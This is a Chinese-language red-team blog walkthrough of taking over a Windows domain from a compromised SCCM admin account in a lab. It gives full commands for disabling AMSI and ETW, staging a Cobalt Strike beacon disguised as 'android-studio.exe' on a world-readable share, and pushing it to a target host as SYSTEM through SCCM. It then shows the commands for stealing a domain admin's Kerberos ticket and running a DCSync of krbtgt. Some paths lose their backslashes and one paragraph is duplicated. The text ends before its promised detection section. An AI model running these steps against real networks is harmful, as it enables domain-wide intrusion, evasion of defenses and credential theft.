SCCM 漏洞利用：利用 SCCM 应用程序部署规避防御并横向移动

2024 年 6 月 20 日TL;DR：SCCM 管理员帐户被攻陷很容易导致 SCCM 管理的每台计算机都被攻陷。由于这可能导致横向移动和大范围主机被攻陷，因此 SCCM 管理员帐户应被视为高权限帐户。

介绍：

到目前为止，已有许多已发表的文章展示了各种入侵 SCCM 基础设施或帐户的方法。例如，在我们之前的博客文章“ SCCM 漏洞利用：通过自动客户端推送和 AD 系统发现入侵帐户”中，我们描述了一种入侵 SCCM 计算机和客户端推送帐户的方法。在另一篇文章中，Chris Thompson 在他的博客文章“通过自动客户端推送安装接管 SCCM 站点”中概述了另一种方法，并最终在 NTLM 中继攻击中使用 SCCM 计算机帐户，从而创建 SCCM 管理员帐户。在升级和接管类别下的工具“配置错误管理器”中可以找到更多示例。不幸的是，由于特权帐户使用不当或缺乏分层管理，可能不需要采取复杂的措施来控制 SCCM 管理员帐户。有多少环境将 SCCM 管理员权限附加到日常驱动帐户上？有多少环境特权帐户（如 SCCM 管理员）在工作站或较低级别的服务器上保持经过身份验证的会话？在这篇博文中，我们将演示这样一种场景：攻击者获得对 SCCM 管理员帐户的控制权，并利用此访问权限，通过滥用 SCCM 功能横向部署 Cobalt Strike 信标来破坏域管理员帐户。

攻击剖析：

在此场景中，一个虚构的组织已将 SCCM 完全管理员权限分配给 SCCM 之外的帐户“mastadondougfresh”，并且用户自己的工作站没有其他域权限。攻击者通过网络钓鱼或通过其他方法入侵工作站，控制了此帐户，并利用 Cobalt Strike 信标建立了 C2 植入。

归零地：

在获得帐户控制权后，攻击者需要确定本地和域内与该帐户关联的权限。有多种方法可以做到这一点。在此示例中，我们使用了 TrustedSec 的“whoami”信标对象文件 (BOF)，该文件在信标进程中运行，避免与本地“whoami.exe”交互并返回类似“whoami /all”命令的输出。

检查此输出后，我们发现我们的用户是 BUILTINAdministrators 组的成员。这是我们在此环境中部署 SCCM 的第一个证据 - 域组“SCCM_ADMINS”的成员身份。

此时，攻击者可能会继续在本地和域内进行枚举。存在许多不同的方法；也许他们会追查 SCCM_ADMINS 组所享有的权限。他们可能会在这个工作站上建立持久性，并在本地环境中搜索有用的信息。其中一条信息是这个工作站是否是 SCCM 资产。识别这一点的一种方法是寻找 CcmExec 进程。在这种情况下，一个简单的“ps”命令显示此进程正在运行，表示此工作站很可能由 SCCM 管理。此外，您还可以在 Windows 目录中查找 CCM 文件夹。

为简便起见，我们假设我们已经进一步枚举了 SCCM_ADMINS 组的权限，并确定除了潜在的 SCCM 权限之外，没有授予任何其他域权限。此时，我们需要识别 SCCM 基础架构并确认我们的 SCCM 管理权限。为此，我们将利用 TrustedSec 的 ldapsearch BOF 对域运行简单的 LDAP 搜索，寻找 SCCM 相关信息，例如管理点或其他 SCCM 资产。

在我们的第一次搜索中，我们使用一个旨在从 mSSMSManagementPoint 类中检索信息的查询，该查询显示管理点的 DNS 主机名。

在确定 DNS 主机名包含“sccm”后，我们可以进一步对该值进行 LDAP 模糊搜索，以防其他 SCCM 基础设施包含此值。在此示例中，我们搜索通用名称中包含“sccm”的任何计算机对象。

ldapsearch (&(objectClass=computer)(cn=*sccm*)) samaccountname

现在我们已经确定了至少四个 SCCM 资产和管理点，我们可以开始进一步枚举与 SCCM 基础设施进行交互。

作为攻击者，我们真正想要确认的第一件事是我们是否是 SCCM 管理员，以及在 SCCM 生态系统中我们拥有什么级别的权限。为此，我们可以使用Chris Thompson创建的 dotnet 程序集 SharpSCCM与管理点交互并检索 SCCM 管理员列表。我们将在信标进程中执行此程序集，以避免产生牺牲进程（“fork and run”），该进程经常被端点检测和响应 (EDR) 解决方案检测到。为此，我们使用 @anthemtotheego 的 InlineExecute-Assembly BOF，我们已通过命令开关对其进行配置，以尝试禁用反恶意软件扫描接口 (AMSI) 和 Windows 事件跟踪 (ETW)。此外，我们设置了非默认的 AppDomain 名称和邮件槽值，因为默认值是已发布的妥协指标 (IoC)。

inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get admins --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal

如上图所示，SharpSCCM 的“获取管理员”功能首先查询本地 rootCCM 命名空间以识别当前管理点和站点代码。为了避免这种情况，我们可以通过命令开关传递这些选项。在上面的示例中，我们还看到尝试连接到 SMSsite_123 命名空间失败，并返回错误“无效命名空间”。发生这种情况的原因有很多种，但重要的是要说明为什么可能需要识别其他 SCCM 资产。我们可以通过命令行将其他主机指定为 SMS 提供程序，而不是简单地放弃此攻击链。由于我们已经知道站点代码，因此我们也会指定它。

inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get admins -sms sccm-sitesrv.mastadon.lab -sc 123 --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal

针对似乎是主站点服务器 sccm-sitesrv 的目标，我们执行了“get admins”命令，可以看到 SharpSCCM 使用 WMI 查询语言 (WQL) 查询 rootSMS 命名空间内的 SMS_ADMIN 类。此返回表明我们的 SCCM_ADMINS 组在 SCCM 生态系统中拥有完全管理员权限。

确认我们的 SCCM 管理权限后，我们现在将寻找特权帐户。我们将使用 ldapsearch BOF 枚举域管理员组的成员。

ldapsearch "(&(objectclass=group)(samaccountname=Domain Admins))" name,samaccountname,member

如上所示，此搜索返回了域管理员组的三个成员。我们的下一步是确定可能具有其中一个帐户的经过身份验证的会话的主机。

值得庆幸的是，SCCM 管理员权限为我们提供了几种可能有用的机制。利用 SharpSCCM，我们可以利用我们的权限查询 SMS 提供商，并返回 SMS_R_System 类实例的“name”和“LastLogonUserName”属性，这些实例会根据我们选择的“LastLogonUserName”进行筛选。在本例中，我们将选择用户“mastadon”。

inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get class-instances SMS_R_System -p "Name" -p "LastLogonUserName" -w "LastLogonUserName LIKE '%mastadon%'" -sms sccm-sitesrv.mastadon.lab -sc 123 --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal

执行此命令后，我们可以看到 SCCM 已将帐户“mastadon”记录为主机 WORKSTATION2 的最后登录用户。需要注意的是，正如 Chris Thompson 在他的博客中提到的那样，此属性可能不正确，因为它仅记录在数据发现时登录系统的最后一个帐户。默认情况下，每七天收集一次此信息。因此，如果从那时到现在有任何其他用户登录过系统，则这可能是过时的信息。尽管如此，它仍然是一个很好的指标，表明域管理员帐户可能具有有效的身份验证会话。

我们可以通过 SharpSCCM 执行 CMPivot 查询来巩固这些信息并进一步了解活动会话。为此，我们首先需要识别 WORKSTATION2 的资源 ID。我们可以执行 SharpSCCM 函数“get resource-id”来识别该值。

inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --etw --amsi --AppDomain mammoth --mailslot tusk --assemblyargs get resource-id -d WORKSTATION2 -sms sccm-sitesrv.mastadon.lab -sc 123

现在我们有了资源 ID，我们可以结合使用 SharpSCCM 和 BOF.NET 执行 CMPivot 查询。在此查询中，我们筛选了过去四小时内的成功登录，EventID 为 4624。

bofnet_jobassembly SharpSCCM invoke admin-service -q "EventLog('Security',4h) | where EventID == 4624 | order by DateTime desc" -r 16777219 -sms sccm-sitesrv.mastadon.lab -sc 123

等待大约 30 秒后，运行命令“bofnet_jobstatus 4”将返回显示目标用户新登录的数据。

有了这些信息，我们需要确定存在哪些 SCCM 设备集合。这可能很有用，因为如果有一个集合仅包含此设备或有限数量的设备（例如“管理员工作站”），那么我们就可以定位该集合。否则，我们将创建自己的集合。

为了识别存在哪些集合，我们将再次利用 SharpSCCM，执行“获取集合”功能，同时指定要返回的“IsBuiltIn、MemberCount 和“Name”属性。

inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs get collections -sms sccm-sitesrv.mastadon.lab -sc 123 -p Name -p MemberCount -p IsBuiltIn --no-banner --etw --amsi --AppDomain superlegit --mailslot completelyreal

如上所示，我们仅识别了内置集合，没有仅限于 WORKSTATION2 的集合。由于我们想要有针对性的部署，因此我们需要创建自己的集合并添加目标主机。

侦察摘要：

我们已经确定我们是 SCCM 管理员，并确定了 SCCM 管理的主机，该主机有一个名为“mastadon”的域管理员帐户，列为“LastLoggedonUser”。我们还通过枚举 Windows 事件日志（EventID 为 4624）确定了一次成功的登录。如果我们可以横向移动到该主机，那么很有可能存在“mastadon”帐户的经过身份验证的会话。简而言之，我们有一个目标。

分期：

现在我们已经完成了初步侦察并确定了一个特权帐户，我们现在需要开始攻击。由于我们的目标是使用 SCCM 部署信标，因此我们首先需要以任何机器或用户帐户都可以访问的方式开始攻击。如果我们确定了一个域内可访问的共享，我们可以在那里开始攻击。否则，我们将创建自己的共享，任何经过域身份验证的用户都可以访问该共享。

分享创作：

假设我们还没有找到所有域计算机或用户都可以访问的共享。要创建一个共享，我们将使用由James Coote创建的 sharefolder_create BOF 。将目录更改为不太显眼的目录（例如“C:usersPublic”）后，我们将使用此 BOF 创建一个名为“ProductivityApps”的文件夹，并以“ProductivityApps”的名称共享它。

sharefolder_create C:usersPublicProductivityApps ProductivityAppscacls C:usersPublicProductivityApps

从上图可以看出，共享已创建，但是“cacls”BOF 输出中显示的 NTFS 权限不包含允许“Authenticated Users”组读取和执行的访问控制项 (ACE)。

我们将使用由 dotnet 程序集 Stracciatella 创建的非托管 PowerShell 运行空间中的 PowerShell 单行命令添加适当的 ACE。如前所述，这将使用 InlineExecute-Assembly 在信标进程中执行。您可以将其视为 Cobalt Strike 的“Powerpick”功能，但没有牺牲进程创建。

inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs $NewAcl = Get-Acl -Path "C:usersPublicProductivityApps"; $identity = 'Authenticated Users'; $fileSystemRights = 'ReadAndExecute'; $type = 'Allow'; $fileSystemAccessRuleArgumentList = $identity, $fileSystemRights, $type; $fileSystemAccessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $fileSystemAccessRuleArgumentList; $NewAcl.SetAccessRule($fileSystemAccessRule); Set-Acl -Path "C:usersPublicProductivityApps" -AclObject $NewAcl

我们可以使用 cacls BOF 检查共享的 ACE。

如上所示，cacls BOF 的输出现在包含一个“R”，代表“经过身份验证的用户”，表示读取权限。但是，如果我们使用 PowerShell 命令行“Get-ACL”进一步检查，我们会发现它有“ReadAndExecute”。

inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs Get-Acl -Path "C:usersPublicProductivityApps" | Format-List

有效载荷暂存：

现在我们有了 SMB 共享，现在可以准备部署我们的有效载荷了。构建规避性有效载荷超出了此场景的范围，但是，应该注意的是，威胁行为者或红队可能会这样做。对于此场景，我们使用由Bobby Cooke和 GuidePoint 专有工具创建的 UDRL“BokuLoader”将我们的 Cobalt Strike shellcode 转换为可移植可执行文件。由于我们想要与 Windows 环境中常见的流量融合，我们创建了一个 SMB 侦听器和信标。

我们将使用 Cobalt Strike 的内置上传功能将此信标上传到我们的共享文件夹。

上传有效载荷后，我们需要确保它允许“经过身份验证的用户”读取和执行。为了确保此 ACE 存在，我们将在 Stracciatella 非托管运行空间中重新运行之前的 PowerShell。这次我们将更改路径以包含有效载荷名称，在本例中为“android-studio.exe”。

inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs $NewAcl = Get-Acl -Path "C:usersPublicProductivityAppsandroid-studio.exe"; $identity = 'Authenticated Users'; $fileSystemRights = 'ReadAndExecute'; $type = 'Allow'; $fileSystemAccessRuleArgumentList = $identity, $fileSystemRights, $type; $fileSystemAccessRule = New-Object -TypeName System.Security.AccessControl.FileSystemAccessRule -ArgumentList $fileSystemAccessRuleArgumentList; $NewAcl.SetAccessRule($fileSystemAccessRule); Set-Acl -Path "C:usersPublicProductivityAppsandroid-studio.exe" -AclObject $NewAcl

现在检查有效负载的 ACL 显示“经过身份验证的用户”具有读取和执行权限。

inlineExecute-Assembly --dotnetassembly /opt/tools/Stracciatella.exe --etw --amsi --AppDomain mammoth --mailslot blendingin --assemblyargs Get-Acl -Path "C:usersPublicProductivityAppsandroid-studio.exe" | Format-List

如上所示，我们创建了一个共享，暂存了信标有效负载，并确保两者都具有适当的权限。现在是时候执行 SCCM 应用程序部署了。

执行：

在攻击链的这一阶段，我们将使用 SharpSCCM 完成以下步骤：

• 创建一个集合。

• 将我们的目标设备 WORKSTATION2 添加到该集合中。

• 在 SCCM 中创建一个应用程序，其目标是我们网络共享中暂存有效负载的 UNC 路径。

• 创建应用程序部署。

• 强制集合的成员（我们的目标，WORKSTATION2）应用更新的策略并执行已部署的应用程序。

听起来很多，对吧？值得庆幸的是，SharpSCCM 可以自动执行所有这些步骤，甚至在之后进行清理。

为了演示这一点，我将首先使用 InlineExecute-Assembly BOF 利用“exec”函数执行 SharpSCCM 程序集。需要注意的是，由于使用了 InlineExecute-Assembly，此命令将不会返回任何输出，直到上述整个事件序列完成。简而言之，您的信标将挂起一段时间。根据我的经验，信标在目标工作站上运行大约需要 2-3 分钟，整个序列完成大约需要五分钟。您可以使用 SharpSCCM 手动运行此自动序列的每个步骤，但我将留给读者进一步深入研究。

inlineExecute-Assembly --dotnetassembly /opt/tools/SharpSCCM.exe --assemblyargs exec -d WORKSTATION2 -p \workstation.mastadon.labProductivityAppsandroid-studio.exe -sms sccm-sitesrv.mastadon.lab -sc 123 --no-banner --etw --amsi --AppDomain mammoth --mailslot tusk

在上图中，我们终于收到了输出，我鼓励您逐行浏览输出。Chris Thompson 出色地将描述性输出编程到此工具中。可能引人注目的一件事是，该应用程序配置为在当前登录用户的上下文中运行。如果这是我们的目标用户，这可能会导致我们获得一个在 mastadon 上下文中运行的信标。如果当前登录的用户甚至不是本地管理员怎么办？

在这种情况下，如下所示，我们已经链接到现在部署在 WORKSTATION2 上的信标，并看到它在用户 mastadon 下运行。幸运！

如果我们的信标不是在 mastadon 下运行会怎么样？如果它是低权限域用户会怎么样？为了避免这种情况，我们可以运行相同的命令并添加一个“-s”标志，该标志指示应用程序在 SYSTEM 帐户下执行。我们在下面演示了这一点，但这次使用的是 BOF.NET 工具的分叉。这个工具很简洁，因为它允许您在信标进程中运行程序集，但提供了将它们作为作业运行的选项。这将创建另一个线程，允许您在避免分叉和运行行为的同时保持对信标的控制。

bofnet_initbofnet_load /opt/tools/SharpSCCM.exe

第一步是在信标进程中初始化我们的 BOF.NET 运行时，并通过运行命令“bofnet_init”和“bofnet_load /path/to/assembly.exe”将我们的程序集加载到该运行时中。

接下来，我们可以执行 SharpSCCM 程序集。我们可以利用 bofnet_jobstatus 命令检查其状态。

bofnet_jobassembly SharpSCCM exec -d WORKSTATION2 -p '\workstation.mastadon.labProductivityAppsandroid-studio.exe' -s -sms sccm-sitesrv.mastadon.lab -sc 123bofnet_jobstatus 13

在下面的示例中，我们这次指定了“-s”标志，以便在 SYSTEM 上下文中重新获取信标。运行命令“bofnet_jobstatus 5”允许我们签入并观察作为作业 5 运行的程序集的输出。

等待大约 30 秒后，我们与 WORKSTATION2 上的 SMB 信标相连，并使用 SYSTEM 上下文成功实现了信标签入。

提升权限：

现在我们已经登陆目标机器，我们应该快速检查一下 mastadon 用户是否在此机器上具有经过身份验证的会话。假设我们是 SYSTEM，我们可以简单地运行“ps”来显示所有进程，包括可能属于 mastadon 帐户的进程。在本例中，我们不想简单地从其中一个进程中窃取令牌，而是想演示如何检索属于 mastadon 帐户的 Kerberos 票证授予票证。为了实现这一点，我们将利用HackerRalf创建的Kerbeus-BOF。

执行“krb_triage”命令并过滤用户 mastadon 和 krbtgt 服务后，我们发现了一个有效的 krbtgt。

Krb_triage /user:mastadon /service:krbtgt

我们可以再次利用 Kerbeus-BOF 来提取此 TGT。这次我们将执行 krb_dump 命令，同时过滤 LUID 和服务。

Krb_dump /luid:10e444 /service:krbtgt /nowrap

我们可以再次利用 Kerbeus-BOF 来提取此 TGT。这次我们将执行 krb_dump 此时，我们可以通过信标设置 Cobalt Strike SOCKS 会话，并利用此 TGT 与 Impacket 库一起为域管理员可访问的任何服务请求服务票证。相反，我们将此票证保存在我们的现场笔记中并将其注入到我们的信标上下文中。需要注意的是，我们将丢失我们当前的 TGT 作为 WORKSTATION2$ 机器帐户，但这很容易通过令牌盗窃重新获得。要注入票证，我们将使用 Kerbeus-BOF 提供的“krb_ptt”命令。命令，同时过滤 LUID 和服务。

krb_ptt /ticket:<INSERT TICKET>

现在票证已导入，我们可以执行 DCSync 攻击来检索 krbtgt 帐户的 aes-256 密钥和 NTLM 哈希。检索这些凭据将使我们能够创建黄金票证或钻石票证，提供域持久性，甚至可能允许我们通过滥用信任关系来破坏其他域。

为了检索这些 krbtgt 凭证，我们使用 BOF.NET 在信标进程中创建运行时并在其中执行 SharpKatz 程序集。此外，我们指定了 krbtgt 用户以及域和域控制器。

bofnet_jobassembly SharpKatz --Command dcsync --User krbtgt --Domain mastadon.lab ---DomainController dc01.mastadon.lab

在此场景中，我们已展示出滥用 SCCM 完全管理员权限在域内横向移动、寻找更高权限并最终攻陷域的能力。让我们来谈谈如何预防和检测此类攻击。